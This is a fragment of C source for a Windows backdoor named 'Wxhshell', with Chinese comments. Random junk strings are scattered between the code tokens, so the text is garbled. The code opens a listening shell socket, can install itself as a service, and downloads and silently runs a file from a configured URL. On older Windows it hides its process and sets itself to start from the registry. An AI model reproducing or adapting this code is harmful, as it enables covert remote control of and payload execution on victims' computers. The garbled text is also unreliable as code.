主模块 O)R}| int StartWxhshell(LPSTR lpCmdLine) Y]~-S { b'FTyi SOCKET wsl; m0W3pf BOOL val=TRUE; lZkJ<*z# int port=0; EGFP$nvq struct sockaddr_in door; (VkO[5j r1.zURY if(wscfg.ws_autoins) Install(); =>o ! v 9G~i port=atoi(lpCmdLine); v}5YUM0H ` 7r3CO<fb if(port<=0) port=wscfg.ws_port; s 7%iuP @D["#pe,} WSADATA data; EAr; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?|oN}y"i 1QhQ#`$<1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]p4?nT@] setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S+Ia2O)BA door.sin_family = AF_INET; ^v5]Aq~X door.sin_addr.s_addr = inet_addr("127.0.0.1"); :
maBec) door.sin_port = htons(port); n<)A5UB5- 39[ylR|\ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2ER_?y closesocket(wsl); 37IHn6r\ return 1; $\k)Y(& } S^i8VYK,C5 K5<2jl3S if(listen(wsl,2) == INVALID_SOCKET) { B`nI]_ closesocket(wsl); qxyY2& return 1; Vnb@5W2\ } e&A3=a~\s Wxhshell(wsl); -=lL{oB1 WSACleanup(); Pec40g:#F 3ohHBo return 0; $t6t 6<M) SY.koW } 247vU1 `6YN/"unfp // 以NT服务方式启动 _h,X3P VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4y4r;[@U { <%|u1cn~!v DWORD status = 0; Mc8_D,7 DWORD specificError = 0xfffffff; ,9F3~Ryt( TZn5s~t serviceStatus.dwServiceType = SERVICE_WIN32; 2t0VbAO1{ serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]
fA5D)/m< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -ciwIS9L
serviceStatus.dwWin32ExitCode = 0; z 36Y/{>[ serviceStatus.dwServiceSpecificExitCode = 0; Uw5&.aqn.b serviceStatus.dwCheckPoint = 0; {w,^Z[< serviceStatus.dwWaitHint = 0; a>6M{C@pd Mx# P
>. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n Jz* }= if (hServiceStatusHandle==0) return; uHZjpMoM ~U ]%>Zf status = GetLastError(); (Xzq(QV if (status!=NO_ERROR) Gw6Odj { QiqRx serviceStatus.dwCurrentState = SERVICE_STOPPED; 5>H&0> \ serviceStatus.dwCheckPoint = 0; Xrc{wDn serviceStatus.dwWaitHint = 0; -nD}k serviceStatus.dwWin32ExitCode = status; FyXO @yF serviceStatus.dwServiceSpecificExitCode = specificError; 0>;[EFL SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7)> L#(N return; ?!c7Zx,( } MCXt,`}[ 8{%&P%vf serviceStatus.dwCurrentState = SERVICE_RUNNING; E+ XR[p serviceStatus.dwCheckPoint = 0; 7bVKH[ serviceStatus.dwWaitHint = 0; u#V; if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gH"aMEC } @.dM1DN) }lq$Fi/ // 处理NT服务事件,比如:启动、停止 ojJua c4 VOID WINAPI NTServiceHandler(DWORD fdwControl) +,T}x+D {
31]Vo;D switch(fdwControl) 3UQBIrQ { J!Rqm!)q case SERVICE_CONTROL_STOP: f*m^x7 serviceStatus.dwWin32ExitCode = 0; 5yW}#W> serviceStatus.dwCurrentState = SERVICE_STOPPED; l r~>!O serviceStatus.dwCheckPoint = 0; az}zoFl serviceStatus.dwWaitHint = 0; ?<OyJ|;V { rc`I l{~k SetServiceStatus(hServiceStatusHandle, &serviceStatus); !0Ak)Q]e' } a_D K"8I return; hsK(09:J case SERVICE_CONTROL_PAUSE: ZXbq5p_ serviceStatus.dwCurrentState = SERVICE_PAUSED; b+dmJ]c break; HR case SERVICE_CONTROL_CONTINUE: h9nh9a(2 serviceStatus.dwCurrentState = SERVICE_RUNNING; hA`9[58/ break; gxVJH'[V5 case SERVICE_CONTROL_INTERROGATE: e9CvdR break; wSALK)T1{ }; _jVJkg)] SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,[_)BM } O
"Aeg| `"xzC $ // 标准应用程序主函数 2@&"*1(Xu int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0'zjPE# { ~PN[ #e] idS+&:' // 获取操作系统版本 )Dcee@/7S OsIsNt=GetOsVer(); G he@m6|D GetModuleFileName(NULL,ExeFile,MAX_PATH); \pI
,6$' 3m~3l d // 从命令行安装 *JWPt(bnI if(strpbrk(lpCmdLine,"iI")) Install(); cvpZF5mL]U Sx_j`Cgy // 下载执行文件 [2
Rz8e^ if(wscfg.ws_downexe) { "/hLZl if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MGo`j:0 WinExec(wscfg.ws_filenam,SW_HIDE); %7Gq#rq } n*~#]%4 v=IcVHuf if(!OsIsNt) { h}+Gz={Q^ // 如果时win9x,隐藏进程并且设置为注册表启动 |g\CS4$ HideProc(); `y1,VY StartWxhshell(lpCmdLine); 0.wN&:I8t } L_=3`xE
_ else ^<aj~0v if(StartFromService()) a
uve&y"R // 以服务方式启动 BK.RYSN StartServiceCtrlDispatcher(DispatchTable); "(a}}q 9- else )9!J
$q // 普通方式启动 Y~OyoNu2 StartWxhshell(lpCmdLine); *m6*sIR n8&x=Z}Xs return 0; ~ }G#ys\1 }
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